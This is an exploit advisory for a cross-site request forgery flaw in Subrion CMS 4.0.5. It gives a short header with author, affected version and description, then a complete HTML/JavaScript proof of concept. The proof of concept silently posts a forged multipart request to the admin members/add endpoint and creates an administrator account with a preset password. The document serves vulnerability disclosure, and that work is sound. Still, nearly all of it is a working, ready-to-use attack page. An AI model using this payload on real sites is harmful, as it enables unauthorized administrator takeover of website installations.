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Subrion CMS 4.0.5 - Cross-Site Request Forgery (Add Admin) Vulnerability
# Exploit Title: Subrion CMS 4.0.5 - Cross-Site Request Forgery (Add Admin)
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://intelliants.com/
# Software Link : https://github.com/intelliants/subrion/releases/tag/v4.0.5
# Software : Subrion CMS
# Product Version: v 4.0.5.10
# Vulernability Type : Cross-Site Request Forgery (Add Admin)
# Vulenrability : Cross-Site Request Forgery
# CVE : N/A
# Description :
# CSRF vulnerability was discovered in v4.0.5 version of Subrion CMS.
# With this vulnerability, authorized users can be added to the system.
HTML CSRF PoC :
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/SERVER\/_core\/admin\/members\/add\/", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------9973334999367242361642875270");
xhr.withCredentials = true;
var body = "-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"__st\"\r\n" +
"\r\n" +
"41209a5f43b0d7c8cef0e7ffcd9ce160\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"username\"\r\n" +
"\r\n" +
"ismailtasdelen\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"fullname\"\r\n" +
"\r\n" +
"Ismail Tasdelen\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"email\"\r\n" +
"\r\n" +
"[email protected]\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"_password\"\r\n" +
"\r\n" +
"Test1234!\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"_password2\"\r\n" +
"\r\n" +
"Test1234!\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"usergroup_id\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"v[avatar[]]\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"avatar[]\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"website\"\r\n" +
"\r\n" +
"https://ismailtasdelen.com\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"phone\"\r\n" +
"\r\n" +
"0000000000000000000\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"biography\"\r\n" +
"\r\n" +
"NULL\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"facebook\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"twitter\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"gplus\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"linkedin\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"sponsored\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"plan_id\"\r\n" +
"\r\n" +
"2\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"sponsored_end\"\r\n" +
"\r\n" +
"2020-02-05 05:18:43\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"featured\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"featured_end\"\r\n" +
"\r\n" +
"2020-02-05 05:19\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"status\"\r\n" +
"\r\n" +
"active\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"save\"\r\n" +
"\r\n" +
"Add\r\n" +
"-----------------------------9973334999367242361642875270\r\n" +
"Content-Disposition: form-data; name=\"goto\"\r\n" +
"\r\n" +
"list\r\n" +
"-----------------------------9973334999367242361642875270--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
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06 Jan 2020 00:00Current
7.1High risk
Vulners AI Score7.1